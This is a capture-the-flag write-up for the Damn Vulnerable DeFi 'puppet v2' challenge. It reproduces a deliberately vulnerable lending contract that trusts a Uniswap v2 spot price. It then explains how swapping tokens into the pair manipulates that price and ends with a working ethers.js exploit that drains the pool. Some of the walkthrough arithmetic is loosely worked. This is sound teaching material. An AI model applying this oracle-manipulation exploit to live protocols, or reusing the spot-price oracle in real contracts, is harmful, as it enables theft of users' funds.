Challenge:
Our ninth challenge is called ‘puppet v2’ and it comes with the following prompt:
The developers of the last lending pool are saying that they've learned the lesson. And just released a new version!
Now they're using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.
You start with 20 ETH and 10000 DVT tokens in balance. The new lending pool has a million DVT tokens in balance. You know what to do ;)
Once more, our mission is to drain the lending pool!
The contracts for this challenge are located in contracts/puppet-v2/. The contract source code can be found below:
PuppetV2Pool.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol";
import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol";
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external returns (uint256);
}
/**
* @title PuppetV2Pool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract PuppetV2Pool {
using SafeMath for uint256;
address private _uniswapPair;
address private _uniswapFactory;
IERC20 private _token;
IERC20 private _weth;
mapping(address => uint256) public deposits;
event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp);
constructor (
address wethAddress,
address tokenAddress,
address uniswapPairAddress,
address uniswapFactoryAddress
) public {
_weth = IERC20(wethAddress);
_token = IERC20(tokenAddress);
_uniswapPair = uniswapPairAddress;
_uniswapFactory = uniswapFactoryAddress;
}
/**
* @notice Allows borrowing `borrowAmount` of tokens by first depositing three times their value in WETH
* Sender must have approved enough WETH in advance.
* Calculations assume that WETH and borrowed token have same amount of decimals.
*/
function borrow(uint256 borrowAmount) external {
require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");
// Calculate how much WETH the user must deposit
uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);
// Take the WETH
_weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);
// internal accounting
deposits[msg.sender] += depositOfWETHRequired;
require(_token.transfer(msg.sender, borrowAmount));
emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}
// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
_uniswapFactory, address(_weth), address(_token)
);
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}
}
The hints and solutions for this level can be found below:
Hint 1:
Just like the last level, this one is all about manipulating the uniswap pool. Only this time, we are using uniswap v2! What is wrong with the way the calculateDepositOfWETHRequired()
function calculates the price of the token?
Hint 2:
Useful resources:
https://uniswap.org/blog/uniswap-v2 https://docs.uniswap.org/protocol/V2/reference/smart-contracts/router-02 https://github.com/Uniswap/v2-periphery/blob/master/contracts/UniswapV2Router02.sol https://github.com/Uniswap/v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol
Solution:
Just like last time, we can see that the loans are offered based on the value returned by a function. This time it’s the calculateDepositOfWETHRequired()
function. This in turn calls _getOracleQuote
which returns a value from UniswapV2Library.quote()
. The parameters passed into the quote are the amount of reserves of each of the WETH and DVT pair held by our uniswap v2 exchange. In the end, this return value is multipled by 3 in order to provide a collateralization requirement of 3x. When we run it through the first time, we can see that 10 WETH / 100 DVT = 0.1 * borrowAmount * 3
is our return value for calculateDepositOfWETHRequired()
. If we want to return a lower amount of WETH required, we want to manipulate the exchange pool such that there is less WETH and more DVT. Reading through the documentation and source code as linked in the above hint, we can find the perfect function to do so: swapExactTokensForETH()
. Below is the code from github:
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
Ok, so let’s see what happens when we put in all of our attacker’s DVT.
ETH_Pool = 10
DVT_Pool = 100
Invariant = 10*100 = 1000
Fee = 10000 * 0.003 = 30 DVT
DVT_Pool = 100 + 10000 = 10100
ETH_Pool = 1000 / 10070 = 0.099 ETH
Attacker receives: 10 - 0.099 ETH = 9.901 ETH
Attacker ETH balance: 29.901
Attacker DVT balance: 0
calculateDepositOfWETHRequired() = 0.099/10070 = 0.00000983118 * 3 = 0.00002949354
depositOfWETH Required = tokenAmount * 0.00002949354
if tokenAmount = 1000000, depositOfWETH Required = 1000000 * 0.00002949354 = 29.49 WETH
Performing the swap with all of our tokens, we can see that we will be left with more ETH than is required to drain the entire lending pool of DVT. We will, however, have to remember to convert the ETH to WETH, but then we can call borrow()
with the tokenAmount of 1000000 and we will obtain all of the funds of the lending pool!
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
let deadline = (await ethers.provider.getBlock('latest')).timestamp * 2
await this.token.connect(attacker).approve(this.uniswapRouter.address,ATTACKER_INITIAL_TOKEN_BALANCE);
await this.uniswapRouter.connect(attacker).swapExactTokensForETH(ATTACKER_INITIAL_TOKEN_BALANCE, 1, [this.token.address,this.weth.address], attacker.address, deadline);
await this.weth.connect(attacker).deposit({value: ethers.utils.parseEther('29.5')})
await this.weth.connect(attacker).approve(this.lendingPool.address,ethers.utils.parseEther('30'));
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE);
});